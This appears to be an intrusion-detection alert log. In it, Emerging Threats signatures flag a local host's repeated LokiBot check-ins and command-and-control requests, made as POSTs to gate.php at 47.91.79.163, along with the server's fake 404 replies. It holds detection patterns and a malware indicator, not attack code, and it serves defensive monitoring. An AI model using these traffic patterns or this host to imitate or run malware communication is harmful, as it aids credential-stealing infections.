12/03/20-10:03:03.157768	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49813	80	192.168.2.3	47.91.79.163
12/03/20-10:03:03.157768	TCP	2025381	ET TROJAN LokiBot Checkin	49813	80	192.168.2.3	47.91.79.163
12/03/20-10:03:03.157768	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49813	80	192.168.2.3	47.91.79.163
12/03/20-10:03:03.157768	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49813	80	192.168.2.3	47.91.79.163
12/03/20-10:03:03.217158	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49813	47.91.79.163	192.168.2.3
12/03/20-10:03:03.503054	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49814	80	192.168.2.3	47.91.79.163
12/03/20-10:03:03.503054	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49814	80	192.168.2.3	47.91.79.163
12/03/20-10:03:03.503054	TCP	2025381	ET TROJAN LokiBot Checkin	49814	80	192.168.2.3	47.91.79.163
12/03/20-10:03:03.503054	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49814	80	192.168.2.3	47.91.79.163
12/03/20-10:03:03.503054	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49814	80	192.168.2.3	47.91.79.163
12/03/20-10:03:03.562713	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49814	47.91.79.163	192.168.2.3
12/03/20-10:03:03.856348	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49815	80	192.168.2.3	47.91.79.163
12/03/20-10:03:03.856348	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49815	80	192.168.2.3	47.91.79.163
12/03/20-10:03:03.856348	TCP	2025381	ET TROJAN LokiBot Checkin	49815	80	192.168.2.3	47.91.79.163
12/03/20-10:03:03.856348	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49815	80	192.168.2.3	47.91.79.163
12/03/20-10:03:03.856348	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49815	80	192.168.2.3	47.91.79.163
12/03/20-10:03:03.913267	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49815	47.91.79.163	192.168.2.3
12/03/20-10:03:04.112260	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49816	80	192.168.2.3	47.91.79.163
12/03/20-10:03:04.112260	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49816	80	192.168.2.3	47.91.79.163
12/03/20-10:03:04.112260	TCP	2025381	ET TROJAN LokiBot Checkin	49816	80	192.168.2.3	47.91.79.163
12/03/20-10:03:04.112260	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49816	80	192.168.2.3	47.91.79.163
12/03/20-10:03:04.112260	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49816	80	192.168.2.3	47.91.79.163
12/03/20-10:03:04.173198	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49816	47.91.79.163	192.168.2.3
12/03/20-10:03:04.389681	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49817	80	192.168.2.3	47.91.79.163
12/03/20-10:03:04.389681	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49817	80	192.168.2.3	47.91.79.163
12/03/20-10:03:04.389681	TCP	2025381	ET TROJAN LokiBot Checkin	49817	80	192.168.2.3	47.91.79.163
12/03/20-10:03:04.389681	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49817	80	192.168.2.3	47.91.79.163
12/03/20-10:03:04.389681	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49817	80	192.168.2.3	47.91.79.163
12/03/20-10:03:04.451117	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49817	47.91.79.163	192.168.2.3
12/03/20-10:03:04.904413	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49818	80	192.168.2.3	47.91.79.163
12/03/20-10:03:04.904413	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49818	80	192.168.2.3	47.91.79.163
12/03/20-10:03:04.904413	TCP	2025381	ET TROJAN LokiBot Checkin	49818	80	192.168.2.3	47.91.79.163
12/03/20-10:03:04.904413	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49818	80	192.168.2.3	47.91.79.163
12/03/20-10:03:04.904413	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49818	80	192.168.2.3	47.91.79.163
12/03/20-10:03:04.964256	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49818	47.91.79.163	192.168.2.3
12/03/20-10:03:05.283815	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49819	80	192.168.2.3	47.91.79.163
12/03/20-10:03:05.283815	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49819	80	192.168.2.3	47.91.79.163
12/03/20-10:03:05.283815	TCP	2025381	ET TROJAN LokiBot Checkin	49819	80	192.168.2.3	47.91.79.163
12/03/20-10:03:05.283815	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49819	80	192.168.2.3	47.91.79.163
12/03/20-10:03:05.283815	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49819	80	192.168.2.3	47.91.79.163
12/03/20-10:03:05.344181	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49819	47.91.79.163	192.168.2.3
12/03/20-10:03:05.585961	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49820	80	192.168.2.3	47.91.79.163
12/03/20-10:03:05.585961	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49820	80	192.168.2.3	47.91.79.163
12/03/20-10:03:05.585961	TCP	2025381	ET TROJAN LokiBot Checkin	49820	80	192.168.2.3	47.91.79.163
12/03/20-10:03:05.585961	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49820	80	192.168.2.3	47.91.79.163
12/03/20-10:03:05.585961	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49820	80	192.168.2.3	47.91.79.163
12/03/20-10:03:05.649937	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49820	47.91.79.163	192.168.2.3
12/03/20-10:03:06.054062	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49821	80	192.168.2.3	47.91.79.163
12/03/20-10:03:06.054062	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49821	80	192.168.2.3	47.91.79.163
12/03/20-10:03:06.054062	TCP	2025381	ET TROJAN LokiBot Checkin	49821	80	192.168.2.3	47.91.79.163
12/03/20-10:03:06.054062	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49821	80	192.168.2.3	47.91.79.163
12/03/20-10:03:06.054062	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49821	80	192.168.2.3	47.91.79.163
12/03/20-10:03:06.116900	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49821	47.91.79.163	192.168.2.3
12/03/20-10:03:06.321848	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49822	80	192.168.2.3	47.91.79.163
12/03/20-10:03:06.321848	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49822	80	192.168.2.3	47.91.79.163
12/03/20-10:03:06.321848	TCP	2025381	ET TROJAN LokiBot Checkin	49822	80	192.168.2.3	47.91.79.163
12/03/20-10:03:06.321848	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49822	80	192.168.2.3	47.91.79.163
12/03/20-10:03:06.321848	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49822	80	192.168.2.3	47.91.79.163
12/03/20-10:03:06.384400	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49822	47.91.79.163	192.168.2.3
12/03/20-10:03:06.983532	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49823	80	192.168.2.3	47.91.79.163
12/03/20-10:03:06.983532	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49823	80	192.168.2.3	47.91.79.163
12/03/20-10:03:06.983532	TCP	2025381	ET TROJAN LokiBot Checkin	49823	80	192.168.2.3	47.91.79.163
12/03/20-10:03:06.983532	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49823	80	192.168.2.3	47.91.79.163
12/03/20-10:03:06.983532	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49823	80	192.168.2.3	47.91.79.163
12/03/20-10:03:07.036550	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49823	47.91.79.163	192.168.2.3
12/03/20-10:03:07.247568	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49825	80	192.168.2.3	47.91.79.163
12/03/20-10:03:07.247568	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49825	80	192.168.2.3	47.91.79.163
12/03/20-10:03:07.247568	TCP	2025381	ET TROJAN LokiBot Checkin	49825	80	192.168.2.3	47.91.79.163
12/03/20-10:03:07.247568	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49825	80	192.168.2.3	47.91.79.163
12/03/20-10:03:07.247568	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49825	80	192.168.2.3	47.91.79.163
12/03/20-10:03:07.307061	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49825	47.91.79.163	192.168.2.3
12/03/20-10:03:07.514056	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49826	80	192.168.2.3	47.91.79.163
12/03/20-10:03:07.514056	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49826	80	192.168.2.3	47.91.79.163
12/03/20-10:03:07.514056	TCP	2025381	ET TROJAN LokiBot Checkin	49826	80	192.168.2.3	47.91.79.163
12/03/20-10:03:07.514056	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49826	80	192.168.2.3	47.91.79.163
12/03/20-10:03:07.514056	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49826	80	192.168.2.3	47.91.79.163
12/03/20-10:03:07.577130	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49826	47.91.79.163	192.168.2.3
12/03/20-10:03:07.815653	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49828	80	192.168.2.3	47.91.79.163
12/03/20-10:03:07.815653	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49828	80	192.168.2.3	47.91.79.163
12/03/20-10:03:07.815653	TCP	2025381	ET TROJAN LokiBot Checkin	49828	80	192.168.2.3	47.91.79.163
12/03/20-10:03:07.815653	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49828	80	192.168.2.3	47.91.79.163
12/03/20-10:03:07.815653	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49828	80	192.168.2.3	47.91.79.163
12/03/20-10:03:07.908293	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49828	47.91.79.163	192.168.2.3
12/03/20-10:03:08.117953	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49830	80	192.168.2.3	47.91.79.163
12/03/20-10:03:08.117953	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49830	80	192.168.2.3	47.91.79.163
12/03/20-10:03:08.117953	TCP	2025381	ET TROJAN LokiBot Checkin	49830	80	192.168.2.3	47.91.79.163
12/03/20-10:03:08.117953	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49830	80	192.168.2.3	47.91.79.163
12/03/20-10:03:08.117953	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49830	80	192.168.2.3	47.91.79.163
12/03/20-10:03:08.178644	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49830	47.91.79.163	192.168.2.3
12/03/20-10:03:08.390972	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49832	80	192.168.2.3	47.91.79.163
12/03/20-10:03:08.390972	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49832	80	192.168.2.3	47.91.79.163
12/03/20-10:03:08.390972	TCP	2025381	ET TROJAN LokiBot Checkin	49832	80	192.168.2.3	47.91.79.163
12/03/20-10:03:08.390972	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49832	80	192.168.2.3	47.91.79.163
12/03/20-10:03:08.390972	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49832	80	192.168.2.3	47.91.79.163
12/03/20-10:03:08.453232	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49832	47.91.79.163	192.168.2.3
12/03/20-10:03:08.688532	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49834	80	192.168.2.3	47.91.79.163
12/03/20-10:03:08.688532	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49834	80	192.168.2.3	47.91.79.163
12/03/20-10:03:08.688532	TCP	2025381	ET TROJAN LokiBot Checkin	49834	80	192.168.2.3	47.91.79.163
12/03/20-10:03:08.688532	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49834	80	192.168.2.3	47.91.79.163
12/03/20-10:03:08.688532	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49834	80	192.168.2.3	47.91.79.163
12/03/20-10:03:08.751399	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49834	47.91.79.163	192.168.2.3
12/03/20-10:03:08.977336	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49836	80	192.168.2.3	47.91.79.163
12/03/20-10:03:08.977336	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49836	80	192.168.2.3	47.91.79.163
12/03/20-10:03:08.977336	TCP	2025381	ET TROJAN LokiBot Checkin	49836	80	192.168.2.3	47.91.79.163
12/03/20-10:03:08.977336	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49836	80	192.168.2.3	47.91.79.163
12/03/20-10:03:08.977336	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49836	80	192.168.2.3	47.91.79.163
12/03/20-10:03:09.036973	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49836	47.91.79.163	192.168.2.3
12/03/20-10:03:09.259970	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49838	80	192.168.2.3	47.91.79.163
12/03/20-10:03:09.259970	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49838	80	192.168.2.3	47.91.79.163
12/03/20-10:03:09.259970	TCP	2025381	ET TROJAN LokiBot Checkin	49838	80	192.168.2.3	47.91.79.163
12/03/20-10:03:09.259970	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49838	80	192.168.2.3	47.91.79.163
12/03/20-10:03:09.259970	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49838	80	192.168.2.3	47.91.79.163
12/03/20-10:03:09.318355	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49838	47.91.79.163	192.168.2.3
12/03/20-10:03:09.551736	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49839	80	192.168.2.3	47.91.79.163
12/03/20-10:03:09.551736	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49839	80	192.168.2.3	47.91.79.163
12/03/20-10:03:09.551736	TCP	2025381	ET TROJAN LokiBot Checkin	49839	80	192.168.2.3	47.91.79.163
12/03/20-10:03:09.551736	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49839	80	192.168.2.3	47.91.79.163
12/03/20-10:03:09.551736	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49839	80	192.168.2.3	47.91.79.163
12/03/20-10:03:09.610619	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49839	47.91.79.163	192.168.2.3
12/03/20-10:03:09.837842	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49841	80	192.168.2.3	47.91.79.163
12/03/20-10:03:09.837842	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49841	80	192.168.2.3	47.91.79.163
12/03/20-10:03:09.837842	TCP	2025381	ET TROJAN LokiBot Checkin	49841	80	192.168.2.3	47.91.79.163
12/03/20-10:03:09.837842	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49841	80	192.168.2.3	47.91.79.163
12/03/20-10:03:09.837842	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49841	80	192.168.2.3	47.91.79.163
12/03/20-10:03:09.896492	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49841	47.91.79.163	192.168.2.3
12/03/20-10:03:10.292766	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49842	80	192.168.2.3	47.91.79.163
12/03/20-10:03:10.292766	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49842	80	192.168.2.3	47.91.79.163
12/03/20-10:03:10.292766	TCP	2025381	ET TROJAN LokiBot Checkin	49842	80	192.168.2.3	47.91.79.163
12/03/20-10:03:10.292766	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49842	80	192.168.2.3	47.91.79.163
12/03/20-10:03:10.292766	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49842	80	192.168.2.3	47.91.79.163
12/03/20-10:03:10.357725	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49842	47.91.79.163	192.168.2.3
12/03/20-10:03:10.678499	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49844	80	192.168.2.3	47.91.79.163
12/03/20-10:03:10.678499	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49844	80	192.168.2.3	47.91.79.163
12/03/20-10:03:10.678499	TCP	2025381	ET TROJAN LokiBot Checkin	49844	80	192.168.2.3	47.91.79.163
12/03/20-10:03:10.678499	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49844	80	192.168.2.3	47.91.79.163
12/03/20-10:03:10.678499	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49844	80	192.168.2.3	47.91.79.163
12/03/20-10:03:10.771741	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49844	47.91.79.163	192.168.2.3
12/03/20-10:03:11.071451	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49845	80	192.168.2.3	47.91.79.163
12/03/20-10:03:11.071451	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49845	80	192.168.2.3	47.91.79.163
12/03/20-10:03:11.071451	TCP	2025381	ET TROJAN LokiBot Checkin	49845	80	192.168.2.3	47.91.79.163
12/03/20-10:03:11.071451	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49845	80	192.168.2.3	47.91.79.163
12/03/20-10:03:11.071451	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49845	80	192.168.2.3	47.91.79.163
12/03/20-10:03:11.214334	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49845	47.91.79.163	192.168.2.3
12/03/20-10:03:11.553112	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49846	80	192.168.2.3	47.91.79.163
12/03/20-10:03:11.553112	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49846	80	192.168.2.3	47.91.79.163
12/03/20-10:03:11.553112	TCP	2025381	ET TROJAN LokiBot Checkin	49846	80	192.168.2.3	47.91.79.163
12/03/20-10:03:11.553112	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49846	80	192.168.2.3	47.91.79.163
12/03/20-10:03:11.553112	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49846	80	192.168.2.3	47.91.79.163
12/03/20-10:03:11.615847	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49846	47.91.79.163	192.168.2.3
12/03/20-10:03:11.821232	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49848	80	192.168.2.3	47.91.79.163
12/03/20-10:03:11.821232	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49848	80	192.168.2.3	47.91.79.163
12/03/20-10:03:11.821232	TCP	2025381	ET TROJAN LokiBot Checkin	49848	80	192.168.2.3	47.91.79.163
12/03/20-10:03:11.821232	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49848	80	192.168.2.3	47.91.79.163
12/03/20-10:03:11.821232	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49848	80	192.168.2.3	47.91.79.163
12/03/20-10:03:11.875974	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49848	47.91.79.163	192.168.2.3
12/03/20-10:03:12.190368	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49850	80	192.168.2.3	47.91.79.163
12/03/20-10:03:12.190368	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49850	80	192.168.2.3	47.91.79.163
12/03/20-10:03:12.190368	TCP	2025381	ET TROJAN LokiBot Checkin	49850	80	192.168.2.3	47.91.79.163
12/03/20-10:03:12.190368	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49850	80	192.168.2.3	47.91.79.163
12/03/20-10:03:12.190368	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49850	80	192.168.2.3	47.91.79.163
12/03/20-10:03:12.249257	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49850	47.91.79.163	192.168.2.3
12/03/20-10:03:12.493744	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49851	80	192.168.2.3	47.91.79.163
12/03/20-10:03:12.493744	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49851	80	192.168.2.3	47.91.79.163
12/03/20-10:03:12.493744	TCP	2025381	ET TROJAN LokiBot Checkin	49851	80	192.168.2.3	47.91.79.163
12/03/20-10:03:12.493744	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49851	80	192.168.2.3	47.91.79.163
12/03/20-10:03:12.493744	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49851	80	192.168.2.3	47.91.79.163
12/03/20-10:03:12.555351	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49851	47.91.79.163	192.168.2.3
12/03/20-10:03:12.862106	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49852	80	192.168.2.3	47.91.79.163
12/03/20-10:03:12.862106	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49852	80	192.168.2.3	47.91.79.163
12/03/20-10:03:12.862106	TCP	2025381	ET TROJAN LokiBot Checkin	49852	80	192.168.2.3	47.91.79.163
12/03/20-10:03:12.862106	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49852	80	192.168.2.3	47.91.79.163
12/03/20-10:03:12.862106	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49852	80	192.168.2.3	47.91.79.163
12/03/20-10:03:12.924524	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49852	47.91.79.163	192.168.2.3
12/03/20-10:03:13.235860	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49853	80	192.168.2.3	47.91.79.163
12/03/20-10:03:13.235860	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49853	80	192.168.2.3	47.91.79.163
12/03/20-10:03:13.235860	TCP	2025381	ET TROJAN LokiBot Checkin	49853	80	192.168.2.3	47.91.79.163
12/03/20-10:03:13.235860	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49853	80	192.168.2.3	47.91.79.163
12/03/20-10:03:13.235860	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49853	80	192.168.2.3	47.91.79.163
12/03/20-10:03:13.303885	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49853	47.91.79.163	192.168.2.3
12/03/20-10:03:13.990149	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49854	80	192.168.2.3	47.91.79.163
12/03/20-10:03:13.990149	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49854	80	192.168.2.3	47.91.79.163
12/03/20-10:03:13.990149	TCP	2025381	ET TROJAN LokiBot Checkin	49854	80	192.168.2.3	47.91.79.163
12/03/20-10:03:13.990149	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49854	80	192.168.2.3	47.91.79.163
12/03/20-10:03:13.990149	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49854	80	192.168.2.3	47.91.79.163
12/03/20-10:03:14.050435	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49854	47.91.79.163	192.168.2.3
12/03/20-10:03:15.823745	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49855	80	192.168.2.3	47.91.79.163
12/03/20-10:03:15.823745	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49855	80	192.168.2.3	47.91.79.163
12/03/20-10:03:15.823745	TCP	2025381	ET TROJAN LokiBot Checkin	49855	80	192.168.2.3	47.91.79.163
12/03/20-10:03:15.823745	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49855	80	192.168.2.3	47.91.79.163
12/03/20-10:03:15.823745	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49855	80	192.168.2.3	47.91.79.163
12/03/20-10:03:15.885562	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49855	47.91.79.163	192.168.2.3
12/03/20-10:03:16.269414	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49856	80	192.168.2.3	47.91.79.163
12/03/20-10:03:16.269414	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49856	80	192.168.2.3	47.91.79.163
12/03/20-10:03:16.269414	TCP	2025381	ET TROJAN LokiBot Checkin	49856	80	192.168.2.3	47.91.79.163
12/03/20-10:03:16.269414	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49856	80	192.168.2.3	47.91.79.163
12/03/20-10:03:16.269414	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49856	80	192.168.2.3	47.91.79.163
12/03/20-10:03:16.327590	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49856	47.91.79.163	192.168.2.3
12/03/20-10:03:16.708489	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49857	80	192.168.2.3	47.91.79.163
12/03/20-10:03:16.708489	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49857	80	192.168.2.3	47.91.79.163
12/03/20-10:03:16.708489	TCP	2025381	ET TROJAN LokiBot Checkin	49857	80	192.168.2.3	47.91.79.163
12/03/20-10:03:16.708489	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49857	80	192.168.2.3	47.91.79.163
12/03/20-10:03:16.708489	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49857	80	192.168.2.3	47.91.79.163
12/03/20-10:03:16.789518	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49857	47.91.79.163	192.168.2.3
12/03/20-10:03:17.123306	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49858	80	192.168.2.3	47.91.79.163
12/03/20-10:03:17.123306	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49858	80	192.168.2.3	47.91.79.163
12/03/20-10:03:17.123306	TCP	2025381	ET TROJAN LokiBot Checkin	49858	80	192.168.2.3	47.91.79.163
12/03/20-10:03:17.123306	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49858	80	192.168.2.3	47.91.79.163
12/03/20-10:03:17.123306	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49858	80	192.168.2.3	47.91.79.163
12/03/20-10:03:17.185949	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49858	47.91.79.163	192.168.2.3
12/03/20-10:03:17.598132	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49859	80	192.168.2.3	47.91.79.163
12/03/20-10:03:17.598132	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49859	80	192.168.2.3	47.91.79.163
12/03/20-10:03:17.598132	TCP	2025381	ET TROJAN LokiBot Checkin	49859	80	192.168.2.3	47.91.79.163
12/03/20-10:03:17.598132	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49859	80	192.168.2.3	47.91.79.163
12/03/20-10:03:17.598132	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49859	80	192.168.2.3	47.91.79.163
12/03/20-10:03:17.878546	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49859	47.91.79.163	192.168.2.3
12/03/20-10:03:18.277933	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49860	80	192.168.2.3	47.91.79.163
12/03/20-10:03:18.277933	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49860	80	192.168.2.3	47.91.79.163
12/03/20-10:03:18.277933	TCP	2025381	ET TROJAN LokiBot Checkin	49860	80	192.168.2.3	47.91.79.163
12/03/20-10:03:18.277933	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49860	80	192.168.2.3	47.91.79.163
